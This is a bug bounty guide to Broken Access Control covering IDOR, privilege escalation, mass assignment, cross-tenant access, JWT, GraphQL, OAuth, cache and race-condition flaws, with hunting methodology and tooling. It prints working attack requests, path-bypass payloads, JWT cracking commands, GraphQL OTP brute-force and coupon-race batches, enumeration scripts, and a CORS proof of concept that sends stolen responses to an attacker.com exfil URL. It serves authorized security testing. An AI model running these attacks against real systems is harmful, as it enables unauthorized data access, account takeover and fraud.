Broken Access Control:
The Complete Bug Bounty Guide

01Foundations#

Before you can hunt Broken Access Control flaws effectively, you have to understand what access control actually is — and why it breaks so often in modern apps. This part is the bedrock. Skip it and you'll find low-hanging IDORs forever; understand it and you'll find logic flaws that pay five figures.

What is Broken Access Control?

Access Control (also called authorization) is the enforcement layer that decides who can perform what action on which resource. It sits after authentication. Authentication answers "who are you?" — access control answers "are you allowed to do this?"

A Broken Access Control vulnerability exists whenever that enforcement is missing, incomplete, inconsistent, or bypassable. In practice it manifests as:

• A normal user reading or modifying another user's data
• A user invoking admin functionality without being an admin
• An anonymous request reaching an endpoint that should require login
• A tenant in a multi-tenant app reading data belonging to a different tenant
• An action that is restricted via the UI but never actually checked on the server

The single most important sentence in this entire guide: access control must be enforced on the server, for every request, for every resource and field, against the authenticated principal — not against client-supplied trust signals. Every BAC bug, without exception, is a violation of that sentence.

OWASP Top 10 — A01 from 2021 to 2025

Broken Access Control has been ranked #1 in the OWASP Top 10 since 2021, and A01:2025 keeps it there. It isn't close, and the 2025 refresh made the picture larger, not smaller. Compare the two data calls side by side:

Read those two rates carefully — they are the two most mis-quoted numbers in AppSec. Coverage (94–100%) means almost every application in OWASP's data call was tested for at least one access-control weakness; incidence (~3.8%) is the average rate at which those tests actually fired. The honest one-liner: BAC is simultaneously the most-tested-for weakness family and one of the most frequently found — and with 40 CWEs now rolling up into it (from 34), it is by a wide margin the broadest umbrella in the entire Top 10.

For a bug bounty hunter, this is the single highest-EV category to specialize in. Every app has authorization somewhere; most get part of it wrong; and impact is almost always demonstrable in concrete business terms — data exposure, account takeover, financial loss — which means high CVSS and big payouts. The 2025 edition also sharpens where the frontier is: API authorization, multi-tenant isolation, OAuth/OIDC scope handling, and microservice trust boundaries.

Access Control Models You'll Encounter

Targets implement one or more of these models. Knowing which one a target uses tells you where to push.

The industry trend since ~2020 has been to pull authorization out of scattered if-statements and into a central policy engine (OPA, Cedar, SpiceDB/Zanzibar). That's good for defenders — but it creates a specific, high-value bug class for hunters: the enforcement gap. A perfect policy is worthless if a code path never asks the engine. New endpoints, batch operations, GraphQL resolvers, background workers, and admin tooling are exactly the places teams forget to wire in the policy check. When a target advertises "fine-grained authz" or "Zanzibar-style permissions," don't assume it's airtight — assume the model is sound and go hunting for the request path that skipped it.

The Hunter's Mindset

BAC hunting is fundamentally logical, not technical. You're not crafting an exploit payload — you're testing assumptions the developer made. Internalize these heuristics:

02The Complete Vulnerability Taxonomy#

BAC is a family, not a single bug. The sub-classes below are the categories you'll actually encounter on real targets. Each section gives you the shape of the bug, how to detect it, how to exploit it, and a real example. They are ordered roughly easiest to hardest — from mechanical "swap an ID and replay" bugs through to timing, crypto, and protocol-level attacks — and each carries an Easy Medium Hard tag for how much has to line up to exploit it. Difficulty is not impact: several "Easy" bugs (an admin IDOR, a mass-assignment role flip) are among the highest-paying findings in this guide.

2.1 IDOR — Insecure Direct Object Reference High Frequency Easy

IDOR is the canonical BAC bug: a request references an object by a direct identifier (database row ID, filename, GUID) and the server returns or modifies that object without verifying the caller owns it. CWE-639. In API terms this is BOLA — Broken Object Level Authorization, ranked API1:2023 and the single most common and most impactful API vulnerability class. If you learn to find one bug well, make it this one.

Shape of the bug

HTTP · GET account by ID
GET /api/v2/accounts/10472/profile HTTP/1.1
Host: app.example.com
Cookie: session=eyJ1aWQiOjU1NX0...   # attacker is user 555, but server returns user 10472's data

200 OK
{
  "user_id": 10472,
  "email": "victim@example.com",
  "ssn": "123-45-6789"
}

Identifier types you'll meet

How to test, step by step

1. Sign up two accounts (A and B). Note their IDs.
2. Browse the entire app as A while Burp records traffic. Trigger every action that touches a resource: view profile, view order, edit, delete, export, share, comment, upload, message.
3. For every request, identify the object identifier. Swap A's identifiers for B's.
4. Replay each modified request in A's session. Does the server return B's data? Modify it? Delete it?
5. Repeat with no session (anonymous), with a guest token, with low-priv role, with read-only role.
6. Then automate it. Manual identifier-swapping doesn't scale past a handful of endpoints. Run Autorize / Auth Analyzer (§4) so every request you make as A is silently replayed with B's session and the responses diffed — that's how you turn "walk the app once" into full-coverage BOLA testing. Automated multi-session diffing is now the state-of-the-art detection primitive; the tool churns, the technique doesn't.

Common IDOR patterns by endpoint

• GET /api/users/{id} — profile read
• PATCH /api/users/{id} — profile write (juicy: email/2FA change → ATO)
• GET /api/orders/{id}/invoice.pdf — financial leakage
• POST /api/teams/{tid}/members — add yourself to someone else's team
• DELETE /api/files/{fid} — destructive (often the highest CVSS)
• GET /api/exports/{eid}/download — bulk data leak via someone else's export
• POST /api/messages?conversation={cid} — inject into private chats

2.2 Horizontal Privilege Escalation Easy

Same-role access across user boundaries. User A reads/modifies user B's data even though both are the same role (both "members", both "customers"). Mechanically this is IDOR's sibling — the distinction is who controls the resource boundary. Test exactly like §2.1, but pay attention to shared resources (teams, organizations, projects) where the bug appears when invitations or memberships aren't enforced.

2.3 Vertical Privilege Escalation Critical Impact Easy

A low-privileged user performs an action restricted to higher-privileged users (admin, support, billing, owner). The escalation can be subtle (a single hidden admin field accepted on a normal endpoint) or wholesale (entire admin APIs reachable without role checks). CWE-269.

Classic example: hidden admin API

Discovered via JS bundle inspection
// In app.bundle.js
const ADMIN_ROUTES = [
  "/api/admin/users",
  "/api/admin/users/{id}/impersonate",
  "/api/admin/billing/invoices",
  "/api/admin/feature-flags"
];

// As a normal user, just hit them:
POST /api/admin/users/555/impersonate HTTP/1.1
Cookie: session=lowprivuser

200 OK   # server returns an impersonation token for user 555

How to find it

1. Pull every JS bundle through linkfinder, getJS, SecretFinder. Extract endpoint strings.
2. Sign up the lowest-privileged account you can (free tier, viewer, guest).
3. Replay each discovered endpoint with your low-priv session. Note status codes: 200 is a hit; 403 means properly gated; 404 can still be a hit (some apps return 404 on real data when authz fails — try a known-bad ID too).
4. For any 403, try the header tricks and method tampering in §2.6–2.7.

2.4 Forced Browsing Easy

Resources or pages exist on the server but aren't linked from any UI. The developer is relying on obscurity. Walk the namespace and they appear.

Wordlist-driven discovery
# Use ffuf with a smart wordlist
ffuf -u https://app.example.com/FUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
     -mc 200,301,302,401,403 \
     -fc 404 \
     -ac

# API path discovery — combine with HTTP method fuzzing
ffuf -u https://app.example.com/api/v1/FUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt \
     -X GET,POST,PUT,DELETE,PATCH

High-yield wordlists for BAC

• SecLists/Discovery/Web-Content/api/
• SecLists/Discovery/Web-Content/raft-large-*
• SecLists/Discovery/Web-Content/CMS/admin-panels.txt
• Custom wordlist built from the target's JS bundles (huge signal — endpoints in the codebase usually exist).

2.5 Missing Function-Level Access Control Easy

Adjacent to forced browsing, but the function is known — the bug is that the gate at the function entry point is missing. Classic shapes:

• POST /api/users/me/upgrade-plan — anyone can upgrade themselves to a paid plan for free.
• POST /api/coupons/apply — accepts arbitrary coupons because there's no role check on coupon validity.
• POST /api/support/tickets/{id}/reply — staff-only endpoint that ships in the API but isn't role-gated.

2.6 HTTP Method & Verb Tampering Easy

Authorization is often applied to specific methods. Swap the method and the check disappears.

The seven moves

1. GET → POST/PUT/DELETE. A GET handler returns 200 but mutation handlers are unprotected, or vice versa.
2. POST → PUT. Frameworks often map both to the same controller but apply middleware to only one.
3. Custom verbs. Try PATCH, PROPFIND, REPORT, COPY, LOCK, MKCOL. Spring's actuator endpoints especially.
4. HEAD bypass. Some WAFs only inspect GET/POST. HEAD may reach the backend and still execute the controller body in some frameworks.
5. Method override headers. X-HTTP-Method-Override: DELETE, X-Method-Override: PUT, _method=DELETE in form bodies. Hugely common bypass.
6. OPTIONS preflight as oracle. The Allow header in OPTIONS sometimes reveals undocumented methods.
7. Case sensitivity. Some routers normalize, some don't. gEt, Get, lowercase. Rare but real.

2.7 Header-Based Bypasses Medium

When the front-of-house (reverse proxy, WAF, load balancer) makes authorization decisions and forwards trust signals to the backend, you can sometimes spoof those signals from the outside.

Headers that change authorization outcomes

2.8 Mass Assignment / Autobinding High Payout Medium

Frameworks like Rails, Spring, Django REST, and Express+Mongoose often bind incoming request bodies directly to model attributes. If a model has a privileged attribute (is_admin, role, balance, verified) and the dev forgot to whitelist allowed fields, you can set it from a normal request. CWE-915.

PATCH /api/users/me · normal request
{
  "name": "alice",
  "email": "alice@example.com"
}

PATCH /api/users/me · mass assignment attempt
{
  "name": "alice",
  "email": "alice@example.com",
  "role": "admin",           # <-- escalates to admin
  "is_verified": true,
  "credit_balance": 9999999,
  "tenant_id": "competitor-corp"
}

Field discovery

You can't blindly guess attributes; you need to find them. In order of yield:

1. Read the GET response. The response to GET /api/users/me usually leaks the entire shape. Replay every field back in a PATCH/PUT.
2. Admin endpoints leak schema. If you can get one admin response (via FLAC or otherwise), it shows you every field admins can set.
3. JS bundle. Type definitions, GraphQL schemas, Redux state shapes — all leak attribute names.
4. Public OpenAPI/Swagger. /swagger.json, /openapi.json, /api-docs, /v3/api-docs — try these on every API target.
5. Error messages. Some frameworks reveal "unknown field X" — flip the polarity and discover real ones by sending random ones.
6. GraphQL introspection — see §2.13.

2.9 CORS Misconfiguration Medium

CORS isn't itself authorization, but bad CORS turns same-origin auth into cross-origin auth — meaning a malicious page in another tab reads authenticated responses from the target.

The dangerous combinations

CORS PoC · cross-origin credentialed read
<script>
fetch("https://api.example.com/me", { credentials: "include" })
  .then(r => r.text())
  .then(t => fetch("https://attacker.com/exfil", {
    method: "POST", body: t
  }));
</script>

2.10 Cross-Tenant Access — The SaaS Goldmine High Bounty Medium

In multi-tenant SaaS — Slack, Notion, Linear, Salesforce, and essentially every B2B product — the tenant boundary (org / workspace / account) is the most consequential line in the whole system. Cross-tenant access is simply IDOR raised to the organizational level: instead of reading one user's row, you read another company's entire dataset. That's why a single working cross-tenant read routinely pays five figures — sometimes six — and is almost always Critical: it implies breach of every customer at once.

How multi-tenancy is implemented (and where each model breaks)

Knowing how a target isolates tenants tells you where to push. Four models dominate:

Where the tenant identifier hides

• Subdomain: https://acme.app.com → tenant acme
• URL path: /orgs/acme/projects
• Query string: ?org_id=42
• Header: X-Org-ID: 42 (also X-Tenant-Id, X-Account-Id, X-Workspace-Id)
• JWT claim: {"org": "acme"}
• Cookie: tenant=acme
• Body field: { "org_id": 42, ... } or GraphQL variable
• Implicit — inferred from a resource ID and never sent explicitly (the most dangerous kind)
• Out-of-band — storage keys (s3://bucket/acme/…), queue/event payloads, gRPC metadata

The core test — two orgs, one swap

Provision two organizations you control (call them A = 42 and B = 77), each with its own user. Log in as A and try to reach B's data by substituting B's identifier — the whole class reduces to this move:

HTTP · the two-org swap
# Logged in as an Org A user; target Org B.
GET /api/orgs/42/invoices HTTP/1.1      # baseline: your own org
Cookie: session=<org-A user>

GET /api/orgs/77/invoices HTTP/1.1      # swap in Org B's id...
Cookie: session=<org-A user>             # ...keep A's session

200 OK   # + Org B's invoices  ->  cross-tenant read

Attack patterns & payloads

1 · Conflicting tenant signals. When several places carry the tenant, make them disagree and see which layer the server trusts. The identity token should always win; frequently the request does.

HTTP · make the signals disagree
POST /api/reports HTTP/1.1
Authorization: Bearer <JWT with "org":"A">   # identity says A
X-Org-Id: B                              # header says B
Content-Type: application/json

{ "org_id": "B" }                          # body says B
# If the response is scoped to B, the server trusts the request over the token.

2 · Implicit tenant from a resource ID. The highest-yield variant: the endpoint takes only a resource id and infers the tenant from it — so ownership is never actually checked.

HTTP · implicit tenant (never verified)
GET /api/projects/PRJ-00193/members HTTP/1.1   # PRJ-00193 is another org's
Cookie: session=<org-A user>
# The project's org is looked up FROM the project, so your org is never compared.
# Harvest foreign ids from: audit logs, webhooks, link/OG previews, errors, exports.

3 · Spoofing the internal tenant header. A gateway authenticates you, then forwards a tenant header to internal services that trust it blindly. If you can set it from outside, you re-scope yourself.

HTTP · inject the internal tenant header
GET /api/dashboard HTTP/1.1
Cookie: session=<org-A user>
X-Tenant-Id: 77   # variants: X-Org-Id, X-Account-Id, X-Workspace-Id, X-Customer-Id

4 · Async jobs & exports that lose tenant context. Background workers routinely authorize the request but then fetch by a global id without re-checking the tenant. Trigger one in your own org, learn the id shape, then walk it.

HTTP · export / job-id enumeration
# 1) Trigger in YOUR org, note the id format:
POST /api/exports HTTP/1.1   # -> { "job_id": "exp_8f21a0", "status": "queued" }

# 2) The worker drops tenant context — walk the id space:
GET /api/exports/exp_8f21a1/download HTTP/1.1   # another tenant's export
Cookie: session=<org-A user>

5 · Host / subdomain routing confusion. When the tenant is resolved from the Host header, override it — the app layer may key on the header while your session belongs to a different tenant.

HTTP · override the tenant Host
GET /api/settings HTTP/1.1
Host: victim-org.app.com        # you're really on attacker-org.app.com
Cookie: session=<attacker-org user>
# Also try: X-Forwarded-Host: victim-org.app.com when a proxy rewrites Host.

More cross-tenant surfaces to test

• Shared resource pools. Templates, public snippets, the integrations marketplace, and uploaded-file stores often share one pool across tenants and forget to filter by visibility/owner.
• Invitations & membership. Invite yourself into another org, accept a stale invite after leaving, or flip an invite's target org id. Membership endpoints are a classic cross-tenant foothold.
• Webhooks & callbacks. Per-tenant webhooks signed with a global secret let you forge/replay another tenant's events; SSRF-y callback URLs can pivot into internal per-tenant services.
• Search & global indexes. Elasticsearch / vector / analytics indexes that aren't filtered by tenant bleed across orgs — query for terms only another tenant would have.
• Nested / sub-resource traversal. org → project → document → comment: the parent check passes but a child resolver skips the tenant filter (the ReBAC failure in §6).
• Cache keyed without tenant. A response cached without the tenant in the key gets served to the next org (see §2.16).
• Legacy / deprecated API surfaces. Old API versions and pre-GA endpoints often predate the current isolation model. This is exactly how the 2025 Microsoft Entra ID break worked (§6): a legacy Graph API trusted an unsigned internal token whose tenant field it never validated — cross-tenant impersonation of any tenant globally.

Cross-tenant testing workflow

1. Provision two orgs you control (A and B), each with a user — ideally one of every role per org.
2. Catalog every place the tenant appears (the list above): subdomain, path, query, header, cookie, JWT, body, storage keys.
3. Swap B's identifiers into A's requests and watch for 200 + B's data. Automate with a second-org session profile (§4).
4. Conflict the signals (JWT=A, header/body=B) to find which layer is trusted.
5. Harvest foreign resource ids for the implicit-tenant endpoints — audit logs, webhooks, previews, errors, exports.
6. Exercise the async surface — trigger exports/reports/jobs and enumerate their ids.
7. Hit the shared pools — templates, integrations, files, search, invitations.
8. Prove impact with your OWN second org as the victim — read one distinctive field to demonstrate the boundary crossed. Never touch a real customer.

2.11 Path Confusion & URL Parsing Medium

Different parts of the stack parse paths differently. When they disagree, authz at one layer can be bypassed at another.

Bypass payloads

URL gymnastics
/admin                         # baseline 403
/admin/                        # trailing slash sometimes bypasses
/admin/.                       # dot-segment
//admin                        # double slash
/./admin
/admin%20                      # trailing space (URL encoded)
/admin%09                      # tab
/admin%00                      # null byte
/admin..;/                     # Tomcat path parameter
/admin..%2f                    # encoded dot-segment
/admin..%252f                  # double-encoded
/admin/%2e%2e/admin
/public/..%2fadmin
/admin#.css                    # fragment + extension trick
/admin?.json
/admin.json                    # extension based bypass — common with WAFs allowlisting static
/admin.html
/.;/admin                      # jetty/tomcat
/;/admin
/admin/%2e/                    # normalization mismatch

Client-Side Path Traversal (CSPT) — the 2024–2026 twist

Path confusion is no longer only a server-side game. In CSPT, the front-end takes an attacker-influenced value (an ID, a slug, a redirect target) and builds an API path from it in the browser — so injecting ../ sequences reroutes the app's own authenticated fetch to a different, more privileged endpoint. Because that request carries the victim's real session, CSPT turns a benign-looking reflected parameter into a same-origin, fully-authenticated request forgery. It chains beautifully: CSPT to reach a state-changing endpoint, or CSPT + web cache deception (§2.16) for full account takeover — a combination documented in real 2025 disclosures. Grep client bundles for string-concatenated request URLs (fetch(`/api/${id}`)) and feed %2e%2e%2f into every value that lands in one.

2.12 JWT and Token Flaws Critical Hard

JWTs are the most common session/auth token in modern APIs and a fertile source of BAC bugs because they encode claims the server uses for authorization. Every claim is suspect.

The classic JWT attack catalog

JWT testing workflow

jwt_tool · key tests
# Decode and inspect
jwt_tool eyJhbGciOi...

# Try all known attacks automatically
jwt_tool eyJ... -M at -t https://app.example.com/api/me -rc "session=eyJ..."

# Algorithm confusion (RS256 -> HS256) with their public key
jwt_tool eyJ... -X k -pk pubkey.pem

# Crack HMAC secret
hashcat -a 0 -m 16500 token.txt rockyou.txt

2.13 GraphQL-Specific BAC Hard

GraphQL flips the threat model: one endpoint, many operations, and authorization that has to live in every resolver. Where REST has hundreds of endpoints that each might forget a check, GraphQL has hundreds of resolvers — and every field, every relationship edge, and every mutation is its own authorization decision. Teams routinely centralize authz at the HTTP layer (one /graphql route, one middleware) and then discover the middleware can't see which object or which field a query is really asking for. The result is that all three API-layer BAC classes reappear at once: BOLA (object level, API1), BOPLA (object property/field level, API3), and BFLA (function/mutation level, API5). Learn to read a schema and GraphQL becomes one of the highest-yield surfaces you can test.

Recon & schema recovery

First fingerprint the engine — Apollo, Hasura, graphql-ruby, Yoga, Ariadne, and others differ in how they batch, whether they leak field suggestions, and what they default to. graphw00f identifies the implementation, which tells you which quirks to reach for. Then recover the schema; if introspection is open, the entire read+write surface is handed to you:

GraphQL · enumerate the schema (introspection ON)
# Every type and its fields — the whole read + write surface
{ __schema {
    queryType { name } mutationType { name }
    types { name kind fields { name args { name } } }
} }

# Just the mutations — this is your BFLA hit-list. Start here.
{ __schema { mutationType { fields { name args { name } } } } }

Introspection is disabled by default on most modern production servers, so when it's off, recover the schema another way:

• Field-suggestion abuse. GraphQL servers helpfully suggest similar field names on typos ("Did you mean email?"). Clairvoyance weaponizes this to rebuild a usable schema with introspection fully disabled.
• Client JS bundles. Apollo / urql / Relay clients ship the exact query and mutation strings — grep the bundles for gql`, query , mutation .
• Alternate endpoints & consoles. /graphql/console, /v1/graphql, /api/graphql, /__graphql, /graphiql, plus staging mirrors that often leave introspection on.
• Visualize it. Feed introspection JSON to GraphQL Voyager / InQL to see the relationship graph — the edges are exactly where nested-traversal BOLA hides.

The node() interface — GraphQL's universal IDOR

Relay-style schemas expose a single node(id:) field that resolves any object by its global ID. Those IDs are almost always just base64("Type:database_id") — trivially decodable and forgeable. If that one resolver skips the ownership check (a very common mistake, because it's generic code), you get a BOLA that reaches every type in the schema from one field.

bash + GraphQL · node() global-ID IDOR (Relay)
# Relay global IDs are just base64("Type:dbid") — decode, tweak, re-encode
$ echo -n 'VXNlcjoxMDA=' | base64 -d       # -> User:100
$ echo -n 'User:101' | base64                # -> VXNlcjoxMDE=

# One resolver, every type. If it forgets ownership, it's a universal BOLA.
{ node(id: "VXNlcjoxMDE=") {
    ... on User { id email phone lastLoginIp }
} }

Object- and field-level gaps (BOLA / BOPLA)

Even without node(), most schemas expose by-ID lookups (user(id:), order(id:)). Two things to test on each: can you read another user's object (BOLA), and can you read sensitive fields the UI never requests (BOPLA)? Field-level is the subtler bug — authz is frequently applied at the type level ("can you see a User?") but not per field ("can you see this User's ssn?"), so simply asking for the property returns it.

GraphQL · field-level authz gap (BOPLA)
# authz was applied at the type level, not per field — ask for the sensitive ones
{ user(id: 1) {
    id name
    email                          # PII — should require ownership
    isAdmin                        # authorization flag leaked
    internalNotes                  # staff-only
    paymentMethods { last4 brand } # billing
} }

GraphQL · nested / relationship traversal
# Parent object is yours; walk the edges into objects that are not
{ order(id: "my-own-order-id") {
    id total
    customer {                     # related resolver often skips its own check
      email
      address { line1 city zip }
      orders { id total }          # the victim's OTHER orders, via the edge
    }
} }

Mutation authorization gaps (BFLA)

The write surface is where the money is. Because the front-end simply never renders a mutation for an unprivileged user, teams forget the resolver itself is unguarded. Pull the full mutation list from introspection (or the JS bundle) and fire each one as a low-privileged — or anonymous — user.

GraphQL · mutation authorization gap (BFLA)
# The UI never renders this for a normal user — but the resolver still runs
mutation {
  updateUserRole(userId: "2", role: ADMIN) { id role }
}
# Same drill for: setEntitlement, impersonate, transferOwnership,
# deleteWorkspace, applyCoupon, updateBillingPlan, inviteMember ...

Aliasing & batching — one request, many privileged calls

GraphQL lets a single request contain many operations. That's a rate-limit and authorization-cache nightmare: limits and checks are frequently applied per HTTP request, not per operation. Aliasing runs the same field many times under different names; batching submits an array of whole operations. Both defeat per-request throttling — and both chain straight into the race conditions in §2.17.

GraphQL · aliasing — N privileged calls in ONE request
# Brute force that beats per-REQUEST rate limits (OTP, reset codes, coupons)
mutation {
  a: verifyOtp(code: "0000") { token }
  b: verifyOtp(code: "0001") { token }
  c: verifyOtp(code: "0002") { token }
  # ... alias up to the depth/complexity ceiling — thousands per request
}

# Aliasing also multiplies BOLA — enumerate users in a single call:
{ u1: user(id: 1){ email }  u2: user(id: 2){ email }  u3: user(id: 3){ email } }

GraphQL · array batching (+ race synergy, §2.17)
# Many operations, often ONE authz/rate check for the whole batch.
# Redeem a single-use coupon repeatedly before the balance settles:
[
  {"query":"mutation{ redeemCoupon(code:\"WELCOME\"){ balance } }"},
  {"query":"mutation{ redeemCoupon(code:\"WELCOME\"){ balance } }"},
  {"query":"mutation{ redeemCoupon(code:\"WELCOME\"){ balance } }"}
]

Operation smuggling: directives, persisted queries & CSRF

• Custom @auth directive gaps. When authorization is a per-field directive, the bug is a single field someone forgot to annotate. Diff sibling fields — one missing @auth is one finding.
• Persisted-query / APQ allowlist bypass. Apollo's Automatic Persisted Queries send a sha256Hash instead of the query; on PersistedQueryNotFound, many servers accept an arbitrary full query you supply alongside the hash — bypassing a query-allowlist WAF entirely. Register your own hash + malicious query and replay it.
• operationName confusion. Send a document with multiple operations and control which executes via operationName; auth middleware that inspects only the first operation can be pointed at a benign one while a second runs.
• CSRF via GET / form-encoding. If the endpoint runs mutations over GET, or accepts application/x-www-form-urlencoded (which skips the CORS pre-flight), any cross-site page can fire state-changing operations with the victim's cookies.

GraphQL · CSRF when GET or form-encoding is accepted
# If the server runs mutations over GET, any cross-site page can trigger them
GET /graphql?query=mutation%7BdeleteAccount%7D HTTP/1.1
# Also test Content-Type: application/x-www-form-urlencoded (no pre-flight)

The GraphQL authz testing workflow

1. Fingerprint the engine with graphw00f — it dictates suggestion, batching, and default-limit behavior.
2. Recover the schema — introspection if open, else Clairvoyance + JS bundles.
3. Build the mutation hit-list — every write op is a BFLA candidate. Run each as low-priv, then anonymous.
4. Hit node() and every by-ID query as user B against user A's (global) IDs — BOLA.
5. Request sensitive fields on each type and walk nested edges — BOPLA and relationship traversal.
6. Alias and batch every rate-limited or single-use operation (OTP, reset, coupon, invite) — and cross with the race-condition playbook (§2.17).
7. Try GET / form-encoded for CSRF and the APQ hash trick for allowlist bypass.
8. Diff across sessions. Autorize/Auth Analyzer work on GraphQL too — template the request body so every operation is replayed as another identity.

2.14 WebSocket & SSE Authorization Hard

HTTP is well-tested; WebSockets often aren't. Common WS auth bugs:

• Connection authz only. The handshake checks who you are; every subsequent message is trusted. Send messages on behalf of other rooms/channels.
• Channel subscription bypass. Subscribe to private-user-{other_id} channels — the server enforces nothing.
• Token in query string. WS tokens often appear in URLs (Referer leak, log leak).
• Origin not checked. Cross-origin WebSocket Hijacking (CSWSH) — a malicious page opens a WS to the target carrying victim's cookies.
• Server-Sent Events. Same pattern; subscribe to other users' SSE streams.

2.15 OAuth 2.0 / OIDC / SAML — Federated Auth Bugs Hard

OAuth flows are dense with authorization decisions. The spec is fine; the implementations frequently aren't. Common high-impact bugs:

• Open redirect_uri. Wildcard or weak matching lets you redirect the auth code to a host you control → ATO via leaked code.
• Missing/predictable state. Enables CSRF on the callback → attacker links their account to victim's social login.
• PKCE downgrade. Client supports PKCE but server doesn't enforce it; intercepted code is exchangeable.
• Scope upgrade. Request a token with extra scopes the user didn't consent to; some servers grant them.
• Token leakage via Referer. Implicit flow (deprecated, still around) puts the access token in the URL fragment; if any external script loads, it can read the Referer.
• Code reuse. Authorization codes must be single-use; if they aren't, intercepted codes work twice.
• OIDC aud claim ignored. ID tokens minted for client A are accepted by client B because the aud claim isn't validated.
• SAML XML signature wrapping (XSW). Inject a second assertion the application reads while the signature validates the original. Still alive in 2026 in legacy enterprise SAML stacks.
• SAML NameID confusion. Email-as-NameID lets you assert victim@target.com from an IdP you control if the SP doesn't pin to an IdP per email domain.

2.16 Cache & CDN Authorization Bypass Hard

CDNs cache aggressively. If an authenticated response gets cached and served to other users, you have unintended cross-user disclosure.

• Web Cache Deception. Request /account.json/nonexistent.css. Backend returns account JSON; CDN sees .css and caches it publicly. Next visitor hits the CDN and reads your data.
• Cache poisoning via unkeyed header. Unkeyed X-Forwarded-Host influences response content; cache stores the poisoned version for all subsequent requests.
• Vary header misconfiguration. Response varies by user but cache doesn't include the session cookie in the cache key.
• Stale-while-revalidate over auth boundary. Logged-out users get cached logged-in responses.
• Static Path Deception. Map a dynamic, authenticated response onto a URL the cache treats as a static file — e.g. /profile/settings.js where the router serves /profile/settings but the CDN keys on the .js suffix and caches it publicly.
• Cache Key Confusion. The cache and origin disagree on which parts of the URL are significant (delimiters, path parameters, encoded characters), so a request the origin treats as personalized is stored under a key an attacker — or the next anonymous visitor — can reproduce.

2.17 Race Conditions in Authorization Hard

Time-of-check/time-of-use bugs in authorization are a fast-growing class. Modern frameworks make concurrent requests easy; modern apps frequently authorize once and forget.

The exploitable patterns

• Limit-overrun. Single-use coupon redeemed 50 times in parallel. Invite link consumed by 50 users. Voting once enforced per request but bypassable concurrently.
• Authorization before state mutation. "Is this email yours?" check passes, then ownership is changed mid-flight by another request.
• State machine skips. Order goes from pending → paid → shipped. Send two concurrent cancel and ship requests; if locking is weak, you ship a cancelled order.
• Single-packet attack. Last-byte synchronization (Burp Repeater "Send group in parallel" with single-packet) puts dozens of requests on the wire in the same TCP segment — they hit the server within microseconds.

03Methodology — Hunting at Scale#

Random testing finds random bugs. A repeatable methodology finds the same flaws every time and scales across targets. Here is the workflow professional BAC hunters use.

Phase 1 — Recon & Endpoint Mapping

1. Scope check. Read the program scope. List in-scope domains, mobile apps, APIs, subdomains. Note explicit exclusions.
2. Subdomain enumeration. subfinder -d target.com, amass, assetfinder, certificate transparency (crt.sh). Pipe to httpx for liveness.
3. Tech fingerprinting. wappalyzer, whatweb, nuclei -t technologies/. Identify framework (Rails, Spring, Django, Express, Next.js, etc.) — your attack surface depends on it.
4. JS bundle extraction. getJS, linkfinder, jsluice. Extract every URL, every API path, every secret-shaped string. Build a target-specific wordlist.
5. API docs hunt. /swagger, /openapi.json, /docs, /redoc, /api-docs, /graphql, /v1/api-docs, /actuator/mappings.
6. Wayback & archived endpoints. waybackurls, gau — historical endpoints often still work and often aren't role-gated because they predate the role model.
7. GitHub recon. Search for the company's name, internal endpoints, leaked tokens. github-dorks, trufflehog.
8. Mobile & thick-client capture. Proxy the mobile app through Burp/mitmproxy (bypass SSL pinning with objection / Frida where the program permits). Mobile and desktop clients routinely talk to a broader, older API surface than the web app — and it's frequently less authz-tested. See §5.4.

Phase 2 — The Authorization Matrix

This is the single most useful artifact in BAC hunting. Build a table with roles on the X axis and endpoints on the Y axis. Mark intended access; then test actual access.

Build this table even informally — even a spreadsheet. Patterns jump out: endpoints where a single column breaks the pattern are bug candidates.

Phase 3 — The 7-Phase Hunting Workflow

1. Provision the lab. Two accounts minimum (A and B), ideally one of every role the app exposes (free, paid, admin, support, guest, viewer, member, owner). Two browsers / two Burp sessions side by side.
2. Walk the app as A. Burp on. Trigger every action. Catalog every request. Tag identifiers.
3. Build the endpoint inventory. Combine walked traffic, JS extraction, wordlist discovery, OpenAPI. Deduplicate; categorize by resource and action.
4. For each endpoint, run the four lenses.
   • Anon: send with no session.
   • Low-priv: send as a different user (B) targeting A's resources.
   • Cross-tenant: send as a user in another org targeting A's org.
   • Field-level: include extra fields (role, tenant_id, is_admin) and see what sticks.
5. Method matrix. For each endpoint, try every HTTP method (GET/POST/PUT/PATCH/DELETE/HEAD/OPTIONS) and every override header.
6. Bypass layer. If you hit a 401/403, run the bypass playbook: path tricks, header tricks, cache games, race conditions.
7. Triage & PoC. For every confirmed finding, write a clean reproducer (curl / Repeater) that demonstrates impact. Then escalate: chain with other bugs, increase blast radius, calculate the financial/data impact.

04Tooling#

Burp Suite + Essential Extensions

Burp's modern Montoya extension API has produced a fresh wave of smaller, maintainable authz-testing BApps (JWT scanners, session mutators, parameter-swap helpers) alongside the classics above — browse the BApp Store filtered to "authorization" periodically. And Burp Repeater's native "Send group in parallel (single connection)" (shipped 2023.9+) put James Kettle's single-packet race-condition attack behind one right-click — see §2.17.

CLI Toolkit

Custom Scripts You'll Write

Pre-built tools cover 80%. The remaining 20% is where bounties live, and it requires you to script. A few patterns every hunter should have ready:

python · ID enumeration with response diffing
import requests, hashlib

S = requests.Session()
S.cookies["session"] = "YOUR_LOW_PRIV_SESSION"

baseline = None
for i in range(1, 10000):
    r = S.get(f"https://app.example.com/api/orders/{i}")
    h = hashlib.md5(r.content).hexdigest()
    if baseline is None and r.status_code == 403:
        baseline = h          # 403 page hash
    if r.status_code == 200 and h != baseline:
        print(f"[HIT] /api/orders/{i} -> {len(r.content)} bytes")

bash · header bypass sweep
for H in "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-For" "X-Real-IP" \
         "X-Custom-IP-Authorization" "X-Originating-IP" "X-Remote-IP"; do
  for V in "127.0.0.1" "localhost" "/admin" "10.0.0.1"; do
    echo "=== $H: $V ==="
    curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" \
      -H "$H: $V" https://target.com/admin
  done
done

05Advanced Techniques#

Once you've drained the obvious surface, these are the techniques that turn dead targets into paid reports.

5.1 Chained BAC — combining low-impact bugs into high-impact ones

One IDOR returning email is medium. One IDOR returning the password reset token is critical. The art is chaining: a benign disclosure plus a benign action plus a missing check becomes ATO.

• Disclosure + Mutation. Read victim's GUID via search autocomplete (low impact alone) → use the GUID in a profile-update IDOR (read-only alone is low) → change their email (chained: full ATO).
• SSRF + IDOR. Internal admin API requires localhost → SSRF on a separate endpoint lets you call it from inside.
